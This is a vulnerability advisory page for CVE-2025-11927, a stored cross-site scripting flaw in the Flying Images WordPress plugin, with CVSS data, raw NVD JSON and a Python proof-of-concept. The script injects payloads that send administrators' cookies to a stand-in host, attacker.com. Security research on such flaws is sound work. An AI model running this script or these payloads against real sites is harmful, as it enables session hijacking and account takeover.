Security Vulnerability Report
中文
CVE-2025-11927 CVSS 4.4 MEDIUM

CVE-2025-11927

Published: 2025-11-01 05:16:02
Last Modified: 2026-04-15 00:35:42

Description

The Flying Images: Optimize and Lazy Load Images for Faster Page Speed plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 2.4.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Flying Images (nazy-load) < 2.4.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11927 PoC - Flying Images Plugin Stored XSS # Target: WordPress with Flying Images plugin <= 2.4.14 # Requirements: Admin privileges, multi-site or unfiltered_html disabled import requests import sys from urllib.parse import urljoin def exploit_stored_xss(target_url, admin_cookie): """ Inject malicious JavaScript via plugin settings """ # Target settings endpoint settings_url = urljoin(target_url, '/wp-admin/admin.php?page=nazy-load-settings') # Malicious payload - steals admin cookies xss_payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' # Alternative payload using event handler xss_payload_alt = '<img src=x onerror="fetch('https://attacker.com/log?c='+btoa(document.cookie))">' # POST data with XSS payload in settings field post_data = { 'nazy_load_custom_js': xss_payload, 'nazy_load_save_settings': '1', '_wpnonce': 'REPLACE_WITH_VALID_NONCE' } headers = { 'Cookie': admin_cookie, 'Content-Type': 'application/x-www-form-urlencoded' } try: response = requests.post(settings_url, data=post_data, headers=headers, timeout=10) if response.status_code == 200: print('[+] XSS payload injected successfully') print('[+] Payload will execute when settings page is accessed') return True except requests.RequestException as e: print(f'[-] Request failed: {e}') return False if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: {sys.argv[0]} <target_url> <admin_cookie>') sys.exit(1) exploit_stored_xss(sys.argv[1], sys.argv[2])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11927", "sourceIdentifier": "[email protected]", "published": "2025-11-01T05:16:02.267", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Flying Images: Optimize and Lazy Load Images for Faster Page Speed plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 2.4.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.svn.wordpress.org/nazy-load/tags/2.4.14/inject-js.php", "source": "[email protected]"}, {"url": "https://plugins.svn.wordpress.org/nazy-load/tags/2.4.14/settings/index.php", "source": "[email protected]"}, {"url": "https://plugins.svn.wordpress.org/nazy-load/tags/2.4.14/settings/lazyload.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3386814/nazy-load", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c41b6c52-4da8-427b-8f5d-6a3339dad3cd?source=cve", "source": "[email protected]"}]}}